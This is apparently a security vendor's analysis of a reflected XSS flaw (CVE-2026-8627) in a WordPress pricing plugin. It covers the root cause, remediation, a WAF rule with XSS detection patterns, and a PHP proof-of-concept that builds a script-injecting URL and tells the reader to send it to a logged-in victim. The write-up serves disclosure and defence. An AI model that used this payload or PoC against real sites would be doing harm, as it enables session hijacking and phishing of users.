Atomic Edge analysis of CVE-2026-8627 (metadata-based): The Correct Prices plugin for WordPress, version 1.0, contains a Reflected Cross-Site Scripting (XSS) vulnerability via the PHP_SELF parameter. An unauthenticated attacker can inject arbitrary web scripts by tricking a user into clicking a crafted link. The CVSS score is 6.1 (Medium), reflecting low impact to confidentiality and integrity with low attack complexity.
The root cause is the correct_prices_page() function, which echoes $_SERVER[‘PHP_SELF’] into a form’s action attribute without sanitization or output escaping. PHP_SELF contains the script name plus any path-info appended to the URL. The plugin lacks calls to esc_url(), esc_attr(), or similar WordPress escaping functions. Atomic Edge analysis confirms this inference from the CWE-79 classification and the description, as no code diff is available.
Exploitation occurs by crafting a URL with path-info containing a payload that breaks out of the form action attribute. For example, appending ‘/%22%3E%3Cscript%3Ealert(1)%3C/script%3E’ to the plugin’s admin page URL injects a script tag. The attack requires user interaction (clicking the link). The plugin does not implement nonce verification or capability checks for this function, allowing unauthenticated exploitation.
Remediation requires escaping the PHP_SELF value before output. The fix should use esc_url() for the action attribute or esc_attr() for attribute context. Developers should avoid relying on PHP_SELF for form actions; using admin_url() with a fixed path is more secure. No patched version exists, making virtual patching critical.
If exploited, this vulnerability allows an attacker to inject arbitrary HTML and JavaScript into the affected page. This can lead to session hijacking, phishing, or defacement. No direct privilege escalation, data exfiltration, or remote code execution is achievable.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-8627 (metadata-based)
# Block XSS attempts via PHP_SELF path-info injection in Correct Prices plugin
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php"
"id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2026-8627 XSS via PHP_SELF in Correct Prices plugin',severity:'CRITICAL',tag:'wordpress',tag:'CVE-2026-8627'"
SecRule QUERY_STRING "@rx page=correct-prices"
"chain"
SecRule REQUEST_URI_RAW "@rx %22|%3E|%3C|script|onerror|onload|javascript:"
"t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8627 - Correct Prices <= 1.0 - Reflected Cross-Site Scripting via PHP_SELF Parameter
// Configuration: Set the target WordPress admin URL where the vulnerable page is located
$target_url = "http://example.com/wp-admin/admin.php?page=correct-prices";
// The payload is injected via path-info appended to the URL.
// The vulnerable function echoes $_SERVER['PHP_SELF'] into a form's action attribute.
// We break out of the attribute and inject a script tag.
$payload = '/%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E';
// Construct the malicious URL
$malicious_url = $target_url . $payload;
echo "[+] Atomic Edge Research - CVE-2026-8627 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Malicious URL: $malicious_urlnn";
echo "[!] Send this URL to a victim with an active WordPress session.n";
echo "[!] The PHP_SELF parameter will reflect the payload into the form action.n";
echo "[!] When the form is rendered, the script will execute in the victim's browser.nn";
// Optional: Use cURL to verify reflection (not required for exploitation)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, session_name() . '=' . session_id()); // Replace with actual session cookie if needed
$response = curl_exec($ch);
curl_close($ch);
// Check if the payload appears in the response
if (strpos($response, '%22%3E%3Cscript%3E') !== false || strpos($response, '"><script>alert("XSS")</script>') !== false) {
echo "[+] XSS payload reflected successfully.n";
} else {
echo "[-] Payload not reflected. The plugin may have been modified or the path is incorrect.n";
}
?>
